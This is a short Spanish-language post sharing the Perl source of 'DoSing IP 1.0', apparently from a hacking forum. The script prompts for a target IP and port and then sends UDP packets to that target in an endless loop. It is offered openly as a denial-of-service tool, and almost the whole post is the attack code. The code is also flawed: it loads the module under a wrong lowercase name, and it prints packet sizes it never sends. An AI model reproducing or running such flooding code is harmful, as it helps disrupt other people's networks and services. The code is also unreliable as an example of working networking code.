DoSing IP 1.0 - [Creado por SkillmaX] + Source [PERL]

#!/usr/bin/perl
print q(
=====================================================
            DDoS en perl
         Creado por SkillmaX
         www.indetectables.net
         www.hackingteam.org
          www.ash-labs.org
          www.level-23.org
   
=====================================================
);

use io::socket;

print "Introduzca la IP: ";
chop ($host = <stdin>);
print "Introduzca el puerto: ";
chop ($port = <stdin>);

{
$sock = IO::Socket::INET->new (
PeerAddr => $host,
PeerPort => $port,
Proto => 'udp') || die "$! Ha introducido algun dato incorrecto, vuelva a intentarlo";
}
packets:
while (1) {
$size = rand() * 30000 * 300000;
print ("$host:$port Conexión enviada: $size\n");
send($sock, 0, $size);
}